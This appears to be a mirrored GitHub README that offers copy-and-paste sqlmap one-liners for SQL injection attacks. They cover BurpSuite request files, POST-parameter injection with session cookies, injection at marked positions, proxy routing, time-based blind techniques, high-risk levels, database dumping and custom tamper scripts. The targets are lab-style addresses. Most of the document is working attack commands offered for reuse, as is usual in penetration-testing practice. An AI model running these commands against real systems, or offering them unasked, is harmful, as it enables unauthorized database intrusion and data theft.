SQLMapExamples

KO | EN

gitlite — search

#android #machine-learning #rust #deep-learning #macos #windows #cli #awesome-list #vue #pytorch #security #ios #mcp #openai

(★ 10)

A list of sample SQL Map Injection Commands

SQLMapExamples 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# SQLMapExamples
A list of sample SQL Map Injection Commands.  SQLMap is a powerful tool for identifying SQL injection vulnerabilities.  However, everytime I use it, I struggle with the parameters.  The following is a list of SQLMap one-liners that I have used in the past and keep here so I can copy and paste and modify the parameters are required.

Reference:
https://github.com/sqlmapproject/sqlmap/wiki/Usage

## SQLMap and BurpSuite
These days, all the cool kids will use a Request file generated from a proxy like BurpSuite to save a bunch of parameter typing.
In burpsuite, when you are viewing a request in the proxy -> intercept tab, you can right click on the request and select "Copy to file" and save the request to a local file.
Next you can point SQLMap to that request file using the -r parameter:
```bash
sqlmap -r request.req --dump --batch
```

This can save you having to dial in all the parameters to setup our SQL injection.

## SQLMap Injection on POST parameter with a PHP Session ID
Here we have simple sql injection test agianst a single POST parameter
```bash
sqlmap -u "http://10.10.10.10/profile.php" --data="name=1234567890" --cookie="PHPSESSID=rbeph9bv25ive9k7sqjefnsujk" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --referer="http://10.10.10.10/profile.php" --delay=0 --timeout=30 --retries=0 --level=3 --risk=1 --threads=1 --time-sec=5 -b --batch --answers="crack=N,dict=N"
```

## SQLMap Injection on POST parameter at a particular position using the astrix (*) notation 
Here is the same injection attack as above but using the astrix to inject at a predetermined postion for a MySQL database running on a Linux platform:
```bash
sqlmap -u "http://10.10.10.10/profile.php" --data="name=1234567890*" --method="POST" --cookie="PHPSESSID=rbeph9bv25ive9k7sqjefnsujk" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --referer="http://10.10.10.10/profile.php" --delay=0 --timeout=30 --retries=0 --dbms="MySQL" --os=Linux --level=3 --risk=1 --threads=1 --time-sec=5 -b --batch --answers="crack=N,dict=N"
```

## SQLMap Injection on POST parameter at a particular position using the astrix (*) notation 
Here is a SQL injection attack which has been configured to run through a Proxy (BurpSuite)

```bash
sqlmap -u "http://10.10.10.10/rofile.php" --data="name=1234567890*" --method="POST" --cookie="PHPSESSID=rbeph9bv25ive9k7sqjefnsujk" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --referer="http://10.10.10.10/profile.php" --proxy=http://127.0.0.1:8080 --delay=0 --timeout=30 --retries=0 --dbms="MySQL" --os=Linux --level=3 --risk=1 --threads=1 --time-sec=5 -b --batch --answers="crack=N,dict=N"
```

## SQLMap test only 1 parameter "name" and risk 3 level 5 through a proxy connection 
Here is a sql injection on a name parameter for a login form at a set position on the name field. Also there is a custom written tamper (that is included in this repository) that will replace <here> with 3 random characters, so that a unique user is created with each SQLMap injection test.  
You can  install this tamper simply by coping the file to your /usr/share/sqlmap/tamper folder (on Kali at least)
  
```bash
sqlmap -u "http://10.10.10.10:80/index.php" --data="name=12345678901*&email=test<here>@test.com&password=test12345" --method="POST" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --referer="http://10.10.10.10/profile.php" --proxy=http://127.0.0.1:8080 --delay=0 --timeout=30 --retries=0 -p "name" --dbms="MySQL" --os=Linux --level=5 --risk=3 --threads=1 --time-sec=5 -b --batch --answers="crack=N,dict=N" --tamper=chargen.py
```

## SQLMap test only blind timing based SQL injection techniques 
Testing only the timing based attacks using the --technique=T parameter
```
sqlmap -u "http://10.10.10.10/profile.php" --data="name=1234567890*" --method="POST" --cookie="PHPSESSID=rbeph9bv25ive9k7sqjefnsujk" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --referer="http://10.10.10.10/profile.php" --proxy=http://127.0.0.1:8080 --delay=0 --timeout=30 --retries=0 --dbms="MySQL" --os=Linux --level=5 --risk=1 --threads=1 --time-sec=5 -b --batch --answers="crack=N,dict=N" --technique=T
```

## Create a custom SQLMap tamper file
I ran into a scenario today where I wanted to test a SQL create new user page for a SQL injection.  
Tampers can be easily edited and replaced here:
```
cd/usr/share/sqlmap/tamper
```
```
sudo cp lowercase.py increment.py
```

SQLMapExamples

SQLMapExamples 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

SQLMapExamples

SQLMapExamples 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README